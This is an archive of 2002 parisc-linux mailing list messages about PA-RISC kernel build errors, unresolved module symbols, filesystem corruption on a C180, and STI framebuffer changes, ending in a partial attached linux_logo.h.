make[1]: Leaving directory `/usr/src/linux-2.4.18-pa56/arch/parisc/hpux'=0A=
make -C  arch/parisc/math-emu modules_install=0A=
make[1]: Entering directory =
`/usr/src/linux-2.4.18-pa56/arch/parisc/math-emu'=0A=
make[1]: Nothing to be done for `modules_install'.=0A=
make[1]: Leaving directory =
`/usr/src/linux-2.4.18-pa56/arch/parisc/math-emu'=0A=
cd /lib/modules/2.4.18-pa56; \=0A=
mkdir -p pcmcia; \=0A=
find kernel -path '*/pcmcia/*' -name '*.o' | xargs -i -r ln -sf ../{} =
pcmcia=0A=
if [ -r System.map ]; then /sbin/depmod -ae -F System.map  2.4.18-pa56; =
fi=0A=
depmod: *** Unresolved symbols in =
/lib/modules/2.4.18-pa56/kernel/drivers/scsi/ppa.o=0A=
depmod: 	outsb=0A=
depmod: 	outsl=0A=
depmod: 	insb=0A=
depmod: 	insl=0A=
make: *** [_modinst_post] Error 1=0A=

------=_NextPart_000_0080_01C23260.DFA6B950--


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unresoved symbols when doing a make modules_install
Date: Tue, 23 Jul 2002 15:04:21 +0100
Lines: 15
Approved: news@gmane.org
Message-ID: <20020723150421.G3052@parcelfarce.linux.theplanet.co.uk>
References: <OE32H8BX2vRxFmNHYus00008028@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621557 11361 80.91.229.3 (22 Nov 2014 01:59:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:17 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: kenneth westelinck <kennywest1@hotmail.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 08:04:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64046482C
	for <parisc-linux@parisc-linux.org>; Tue, 23 Jul 2002 08:04:22 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17X0Gz-0003W8-00; Tue, 23 Jul 2002 15:04:21 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <OE32H8BX2vRxFmNHYus00008028@hotmail.com>; from kennywest1@hotmail.com on Tue, Jul 23, 2002 at 03:51:57PM +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15615

On Tue, Jul 23, 2002 at 03:51:57PM +0200, kenneth westelinck wrote:
> Today I "baked" myself a new kernel (2.4.18-pa56). After upgrading my box
> (using apt-get), INIT was dying upon startup with an "unaligned access"
> error. Anyway, all is working well (even the soft-power button), but I am
> getting an "unresolved symbols"-error when doing a "make modules_install"
> (see attached file). Yes, I copied the System.map to
> /boot/System.map-2.4.18-pa56 and created a symbolic link to this file. Any
> ideas?

i'm baffled.  we prototype, define and EXPORT_SYMBOL outs[bwl].  i can't
see why you'd get this error.

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] cannot make kernel
Date: Tue, 23 Jul 2002 16:52:22 +0200 (CEST)
Lines: 60
Approved: news@gmane.org
Message-ID: <1027435942.3d3d6da6ab4c6@webmail.tiscalinet.be>
References: <20020723065037.4D5D2482C@dsl2.external.hp.com> <1027414345.3d3d19494be24@webmail.tiscalinet.be> <3D3D2383.7070708@itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621558 11364 80.91.229.3 (22 Nov 2014 01:59:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:18 +0000 (UTC)
Cc: joel.soete@freebel.net, parisc-linux@lists.parisc-linux.org
To: Stephan Trajkoff <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 08:52:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (unknown [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2FB56482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 08:52:34 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17X11S-0003bQ-00; Tue, 23 Jul 2002 16:52:22 +0200
In-Reply-To: <3D3D2383.7070708@itp.bg>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15616

Quoting Stephan Trajkoff <stephan@itp.bg>:

> joel.soete@freebel.net wrote:
> 
> >Quoting Stephan Trajkoff <stephan@itp.bg>:
> >
> >  
> >
> >>-------------------------------------------------------------------
> >>-->> FREE Perl CGI scripts add WEB ACCESS to your POP email accounts!
> >>-->> Download today!! http://www.adjeweb.com
> >>-------------------------------------------------------------------
> >>
> >>`gcc -print-libgcc-file-name` /usr/src/linux/arch/parisc/lib/lib.a
> >>/usr/src/linux/lib/lib.a  \
> >>        --end-group \
> >>        -o vmlinux
> >>drivers/video/video.o: In function `.L1581':
> >>drivers/video/video.o(.init.text 0x23e8): undefined reference to
> >>`fbcon_sti'
> >>drivers/video/video.o: In function `.L1639':
> >>drivers/video/video.o(.init.text 0x25d0): undefined reference to
> >>`fbcon_sti'
> >>make: *** [vmlinux] Error 1
> >>
> >>I tried to compile pa56
> >>I made make oldconfig from pa54
> >>    
> >>
> >
> >Do you try make clean after make oldconfig and before make vmlinux?
> >
> >(I also do it yesterday evening and do not met any problem)
> >
> >Joel
> >
> >
> >-------------------------------------------------
> >This mail sent through Tiscali Webmail (http://webmail.tiscali.be)
> >_______________________________________________
> >parisc-linux mailing list
> >parisc-linux@lists.parisc-linux.org
> >http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> >
> >Man I am not stupid, make oldconfig && make dep && make clean && make 
> >
> I working with UNIX(Linux, qnx) for 4 years...
> I made apt-get dist-upgrade
> very strange dude

Hey,

I just put a question?




-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New genrtc driver
Date: Tue, 23 Jul 2002 07:59:20 -0700
Lines: 10
Approved: news@gmane.org
Message-ID: <20020723145920.GC17737@tausq.org>
References: <20020723143342.F3052@parcelfarce.linux.theplanet.co.uk>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621558 11367 80.91.229.3 (22 Nov 2014 01:59:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:18 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 08:56:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.speakeasy.net (mail16.speakeasy.net [216.254.0.216])
	by dsl2.external.hp.com (Postfix) with ESMTP id AA07D4871
	for <parisc-linux@parisc-linux.org>; Tue, 23 Jul 2002 08:56:32 -0600 (MDT)
Original-Received: (qmail 23647 invoked from network); 23 Jul 2002 14:56:30 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail16.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <willy@debian.org>; 23 Jul 2002 14:56:30 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 7CE1CCE04E; Tue, 23 Jul 2002 07:59:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20020723143342.F3052@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15617

> there seems to be a newer RTC driver, based on the one we're currently
> using.  anyone want to take a bash at integrating it into our 2.5 tree
> and making it work for us?
> 
> http://www.uwsg.iu.edu/hypermail/linux/kernel/0207.2/1660.html

yup, i can look at this.

randolph


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C180 FWSCSI e2fs coruption
Date: Tue, 23 Jul 2002 17:50:21 +0200
Lines: 60
Approved: news@gmane.org
Message-ID: <3D3D7B3D.650C1855@hpfrcu81.france.hp.com>
References: <20020723065037.4D5D2482C@dsl2.external.hp.com> <1027414345.3d3d19494be24@webmail.tiscalinet.be> <3D3D2383.7070708@itp.bg> <1027435942.3d3d6da6ab4c6@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621558 11372 80.91.229.3 (22 Nov 2014 01:59:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:18 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 09:49:38 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1E568482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 09:49:38 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 77F27129A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 17:49:36 +0200 (METDST)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id RAA02459; Tue, 23 Jul 2002 17:50:21 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15618

Hi,

I try to setup a C180. I have no CD and 'may be' my problems come from there.

I have a bootable external drive (that use to run on a 712) I boot this
external drive from the C180, it boot narrow ilp32, from there I partionion
the internal FWSCSI drive, 3 partition, it look like this

iws1pb02:/# fdisk /dev/sda 

Command (m for help): p

Disk /dev/sda: 133 heads, 62 sectors, 1017 cylinders
Units = cylinders of 8246 * 512 bytes

   Device Boot    Start       End    Blocks   Id  System
/dev/sda1   *         1         8     32953   f0  Linux/PA-RISC boot
/dev/sda2             9        50    173166   82  Linux swap
/dev/sda3            51      1017   3986941   83  Linux

Then I made mkswap, mke2fs, then I cpio -p the external disc onto the internal
disc (after a mount of the external disc).

I rm /etc/mtab and reboot the internal disc, I boot isl to tune the kernel
runstring, then I got something that works....

The idea then is to refresh the 'old' booted distro with a mega apt-get
upgrade, all went fine until apt-get start displaying things like this

..............

Err http://ftp.fr.debian.org unstable/main libgnorba27 1.4.1.7-2
  Could not open file
/var/cache/apt/archives/partial/libgnorba27_1.4.1.7-2_hppa.deb - open (30
Read-only file system)

............

Apparently the / wne RO because of coruption detected.

And a quick look of file showing

phi@iws1pb02:/usr$ find . 
find: ./share/doc/xserver-common: Input/output error
find: ./share/doc/liblcms: Input/output error
find: ./share/perl/5.6.1/bigfloat.pl: Input/output error
find: ./share/perl/5.6.1/bigint.pl: Input/output error
find: ./share/perl/5.6.1/bigrat.pl: Input/output error


At this stage the FS is real corupted, and fsck -y can correct, but many files
are lost.

I am doing something wrong? does e2fs survive that big FS partition? Does the
FWSCSI reliable? May be my disc is shaky?


Thanx in advance for any sugestions
Phi


From - Thu Nov 08 21:23:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Mottram <peter@petescaff.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180 FWSCSI e2fs coruption
Date: Tue, 23 Jul 2002 17:59:59 +0200 (CEST)
Lines: 78
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207231758280.18468-100000@r6.petescaff.com>
References: <3D3D7B3D.650C1855@hpfrcu81.france.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621559 11375 80.91.229.3 (22 Nov 2014 01:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:19 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: phi <phi@hpfrcu81.france.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 10:07:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.petescaff.com (petem.xs4all.nl [194.109.247.92])
	by dsl2.external.hp.com (Postfix) with ESMTP id ACA6E482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 10:07:32 -0600 (MDT)
Original-Received: from r6.petescaff.com ([192.168.0.3])
	by smtp.petescaff.com with esmtp (Exim 3.35 #1)
	id 17X24t-0008W4-00; Tue, 23 Jul 2002 17:59:59 +0200
X-X-Sender: apm@r6.petescaff.com
In-Reply-To: <3D3D7B3D.650C1855@hpfrcu81.france.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15619

A well known problem - almost certainly due to an old kernel rev + the NCR
SCSI controller on the C180 - see:

http://parisc-linux.org/release-0.9/errata-093.html

....look for the 'Filesystem Corruption' section

R.
PeteM

On Tue, 23 Jul 2002, phi wrote:

> Hi,
>
> I try to setup a C180. I have no CD and 'may be' my problems come from there.
>
> I have a bootable external drive (that use to run on a 712) I boot this
> external drive from the C180, it boot narrow ilp32, from there I partionion
> the internal FWSCSI drive, 3 partition, it look like this
>
> iws1pb02:/# fdisk /dev/sda
>
> Command (m for help): p
>
> Disk /dev/sda: 133 heads, 62 sectors, 1017 cylinders
> Units = cylinders of 8246 * 512 bytes
>
>    Device Boot    Start       End    Blocks   Id  System
> /dev/sda1   *         1         8     32953   f0  Linux/PA-RISC boot
> /dev/sda2             9        50    173166   82  Linux swap
> /dev/sda3            51      1017   3986941   83  Linux
>
> Then I made mkswap, mke2fs, then I cpio -p the external disc onto the internal
> disc (after a mount of the external disc).
>
> I rm /etc/mtab and reboot the internal disc, I boot isl to tune the kernel
> runstring, then I got something that works....
>
> The idea then is to refresh the 'old' booted distro with a mega apt-get
> upgrade, all went fine until apt-get start displaying things like this
>
> ..............
>
> Err http://ftp.fr.debian.org unstable/main libgnorba27 1.4.1.7-2
>   Could not open file
> /var/cache/apt/archives/partial/libgnorba27_1.4.1.7-2_hppa.deb - open (30
> Read-only file system)
>
> ............
>
> Apparently the / wne RO because of coruption detected.
>
> And a quick look of file showing
>
> phi@iws1pb02:/usr$ find .
> find: ./share/doc/xserver-common: Input/output error
> find: ./share/doc/liblcms: Input/output error
> find: ./share/perl/5.6.1/bigfloat.pl: Input/output error
> find: ./share/perl/5.6.1/bigint.pl: Input/output error
> find: ./share/perl/5.6.1/bigrat.pl: Input/output error
>
>
> At this stage the FS is real corupted, and fsck -y can correct, but many files
> are lost.
>
> I am doing something wrong? does e2fs survive that big FS partition? Does the
> FWSCSI reliable? May be my disc is shaky?
>
>
> Thanx in advance for any sugestions
> Phi
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>



From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [parisc-linux-cvs] linux-2.5 willy
Date: Tue, 23 Jul 2002 19:15:04 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020723191504.H3052@parcelfarce.linux.theplanet.co.uk>
References: <20020723180834.78C36482C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621559 11378 80.91.229.3 (22 Nov 2014 01:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:19 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 12:15:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8E998482C
	for <parisc-linux@lists.parisc-linux.org>; Tue, 23 Jul 2002 12:15:05 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17X4Bc-0002CW-00
	for parisc-linux@lists.parisc-linux.org; Tue, 23 Jul 2002 19:15:04 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020723180834.78C36482C@dsl2.external.hp.com>; from willy@dsl2.external.hp.com on Tue, Jul 23, 2002 at 12:08:34PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15620

On Tue, Jul 23, 2002 at 12:08:34PM -0600, Matthew Wilcox wrote:
> Modified files:
> 	drivers/video  : Config.in Makefile fbcon-sti.c fbmem.c 
> Added files:
> 	drivers/video/sti: Makefile sticon.c sticore.c sticore.h stifb.c 
> Removed files:
> 	drivers/video  : sti-bmode.h sti.h sticon-bmode.c sticon.c 
> 	                 sticore.c stifb.c 
> Log message:
> merge 2.4 STI changes into 2.5 tree.

could someone more competent than myself check over these changes?  they
seem right to me, but there have been some moderately hairy changes made
to the FB subsystem.  stifb_blank should now return an int, not void ...
not sure what to return though ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:23:53 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "kenneth westelinck" <kennywest1@hotmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linux_logo.h
Date: Tue, 23 Jul 2002 15:20:11 +0200
Lines: 2529
Approved: news@gmane.org
Message-ID: <OE40qsOVXlCViSvIkwp00008102@hotmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_006A_01C2325C.6FB63F70"
X-Trace: ger.gmane.org 1416621559 11381 80.91.229.3 (22 Nov 2014 01:59:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:59:19 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jul 23 07:20:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hotmail.com (oe40.law4.hotmail.com [216.33.148.77])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1631482C
	for <parisc-linux@parisc-linux.org>; Tue, 23 Jul 2002 07:20:22 -0600 (MDT)
Original-Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 23 Jul 2002 06:20:21 -0700
X-Originating-IP: [213.224.83.78]
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
X-OriginalArrivalTime: 23 Jul 2002 13:20:21.0976 (UTC) FILETIME=[B293C580:01C2324B]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15621

This is a multi-part message in MIME format.

------=_NextPart_000_006A_01C2325C.6FB63F70
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

Hi all,

The linux_logo.h that is available on the esiee site
(http://pateam.esiee.fr/download.html) seems a little outdated. Here's a
version that works with 2.4.18-pa56.


regards,

Kenneth

------=_NextPart_000_006A_01C2325C.6FB63F70
Content-Type: application/octet-stream;
	name="linux_logo.h"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="linux_logo.h"

/* $Id: linux_logo.h,v 1.5 1998/07/30 16:30:58 jj Exp $
 * include/linux/linux_logo.h: This is a linux logo
 *                             to be displayed on boot.
 *
 * Copyright (C) 1996 Larry Ewing (lewing@isc.tamu.edu)
 * Copyright (C) 1996,1998 Jakub Jelinek (jj@sunsite.mff.cuni.cz)
 *
 * You can put anything here, but:
 * LINUX_LOGO_COLORS has to be less than 224
 * image size has to be 80x80
 * values have to start from 0x20
 * (i.e. RGB(linux_logo_red[0],
 *           linux_logo_green[0],
 *           linux_logo_blue[0]) is color 0x20)
 * BW image has to be 80x80 as well, with MS bit
 * on the left
 * Serial_console ascii image can be any size,
 * but should contain %s to display the version
 */

#ifndef __HAVE_ARCH_LINUX_LOGO
#define LINUX_LOGO_COLORS	214
#endif

#ifdef INCLUDE_LINUX_LOGO_DATA

#ifndef __HAVE_ARCH_LINUX_LOGO

unsigned char linux_logo_red[] __initdata = {
    0x77, 0x69, 0xe5, 0xff, 0x99, 0x66, 0x33, 0xa7,
    0xcc, 0x33, 0x33, 0x02, 0x00, 0x99, 0x99, 0x99,
    0x99, 0x66, 0xcc, 0xf5, 0xcc, 0xff, 0xff, 0xff,
    0x99, 0x33, 0xcc, 0x66, 0xcc, 0xcc, 0xcc, 0x99,
    0x66, 0x00, 0x00, 0x33, 0x00, 0x66, 0x00, 0x66,
    0x99, 0xff, 0xcc, 0x62, 0x33, 0x66,
};

unsigned char linux_logo_green[] __initdata = {
    0x81, 0x73, 0xe8, 0xff, 0x99, 0x66, 0x66, 0xad,
    0xcc, 0x33, 0x33, 0x02, 0x00, 0x66, 0x66, 0x99,
    0x99, 0x33, 0x99, 0xbd, 0x99, 0xcc, 0xcc, 0xcc,
    0x99, 0x33, 0x66, 0x66, 0x99, 0x99, 0xcc, 0xcc,
    0x99, 0x66, 0x66, 0x99, 0x99, 0xcc, 0x33, 0x99,
    0x66, 0xff, 0xcc, 0x4c, 0x00, 0x66,
};

unsigned char linux_logo_blue[] __initdata = {
    0x94, 0x87, 0xeb, 0xff, 0x99, 0x66, 0x66, 0xb8,
    0xcc, 0x66, 0x33, 0x04, 0x00, 0x33, 0x00, 0x00,
